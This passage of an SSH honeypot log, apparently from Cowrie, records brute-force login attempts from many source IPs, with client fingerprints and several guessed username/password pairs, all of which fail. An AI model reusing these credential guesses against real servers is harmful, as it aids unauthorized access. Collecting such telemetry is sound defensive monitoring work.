h-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:50.199781Z","src_ip":"103.149.28.157","session":"6ef5e31d1ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021988","message":"login attempt [root/11021988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:51.208704Z","src_ip":"103.149.28.157","session":"6ef5e31d1ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:52.465254Z","src_ip":"103.149.28.157","session":"6ef5e31d1ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":36126,"dst_ip":"10.17.0.5","dst_port":22,"session":"efbf61754e90","protocol":"ssh","message":"New connection: 46.19.67.181:36126 (10.17.0.5:22) [session: efbf61754e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:53.272181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:53.276693Z","src_ip":"46.19.67.181","session":"efbf61754e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:53.390184Z","src_ip":"46.19.67.181","session":"efbf61754e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonya","message":"login attempt [root/sonya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:53.732225Z","src_ip":"46.19.67.181","session":"efbf61754e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:25:54.849026Z","src_ip":"46.19.67.181","session":"efbf61754e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":44548,"dst_ip":"10.17.0.5","dst_port":22,"session":"5058cb9a5331","protocol":"ssh","message":"New connection: 43.156.170.155:44548 (10.17.0.5:22) [session: 5058cb9a5331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:07.306554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:07.311556Z","src_ip":"43.156.170.155","session":"5058cb9a5331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:07.557214Z","src_ip":"43.156.170.155","session":"5058cb9a5331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"P@ssw0rd","message":"login attempt [frontend/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:08.571470Z","src_ip":"43.156.170.155","session":"5058cb9a5331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:09.821062Z","src_ip":"43.156.170.155","session":"5058cb9a5331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":58240,"dst_ip":"10.17.0.5","dst_port":22,"session":"de14641e4da0","protocol":"ssh","message":"New connection: 46.253.45.10:58240 (10.17.0.5:22) [session: de14641e4da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:12.320080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:12.325187Z","src_ip":"46.253.45.10","session":"de14641e4da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:12.450637Z","src_ip":"46.253.45.10","session":"de14641e4da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dddddd","message":"login attempt [root/dddddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:12.982986Z","src_ip":"46.253.45.10","session":"de14641e4da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:14.111750Z","src_ip":"46.253.45.10","session":"de14641e4da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":36446,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a9dd27255e1","protocol":"ssh","message":"New connection: 41.181.156.205:36446 (10.17.0.5:22) [session: 2a9dd27255e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:14.833257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:14.838934Z","src_ip":"41.181.156.205","session":"2a9dd27255e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:15.092350Z","src_ip":"41.181.156.205","session":"2a9dd27255e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:16.108865Z","src_ip":"41.181.156.205","session":"2a9dd27255e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:17.370901Z","src_ip":"41.181.156.205","session":"2a9dd27255e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45437,"dst_ip":"10.17.0.5","dst_port":22,"session":"62301c4e060e","protocol":"ssh","message":"New connection: 89.144.214.214:45437 (10.17.0.5:22) [session: 62301c4e060e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:18.758958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:18.767023Z","src_ip":"89.144.214.214","session":"62301c4e060e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:18.902745Z","src_ip":"89.144.214.214","session":"62301c4e060e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sambauser","password":"123","message":"login attempt [sambauser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:19.450449Z","src_ip":"89.144.214.214","session":"62301c4e060e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":50120,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4d267942e6","protocol":"ssh","message":"New connection: 165.154.5.173:50120 (10.17.0.5:22) [session: 4e4d267942e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:19.595663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:19.600368Z","src_ip":"165.154.5.173","session":"4e4d267942e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:19.811736Z","src_ip":"165.154.5.173","session":"4e4d267942e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:20.573993Z","src_ip":"89.144.214.214","session":"62301c4e060e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123123","message":"login attempt [root/asdasd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:20.696918Z","src_ip":"165.154.5.173","session":"4e4d267942e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:26:21.911583Z","src_ip":"165.154.5.173","session":"4e4d267942e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b17dfb13f4b","protocol":"ssh","message":"New connection: 46.253.45.10:59752 (10.17.0.5:22) [session: 7b17dfb13f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:32.328383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:32.333127Z","src_ip":"46.253.45.10","session":"7b17dfb13f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:32.457885Z","src_ip":"46.253.45.10","session":"7b17dfb13f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpsuser","password":"123","message":"login attempt [vpsuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:32.991918Z","src_ip":"46.253.45.10","session":"7b17dfb13f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:34.120720Z","src_ip":"46.253.45.10","session":"7b17dfb13f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.45.20","src_port":52316,"dst_ip":"10.17.0.5","dst_port":22,"session":"81cb534bbecd","protocol":"ssh","message":"New connection: 14.103.45.20:52316 (10.17.0.5:22) [session: 81cb534bbecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:35.355877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:35.361219Z","src_ip":"14.103.45.20","session":"81cb534bbecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:35.584463Z","src_ip":"14.103.45.20","session":"81cb534bbecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":56008,"dst_ip":"10.17.0.5","dst_port":22,"session":"47604ab7b33d","protocol":"ssh","message":"New connection: 4.227.177.11:56008 (10.17.0.5:22) [session: 47604ab7b33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:41.627938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:41.633180Z","src_ip":"4.227.177.11","session":"47604ab7b33d","protocol":"ssh"}
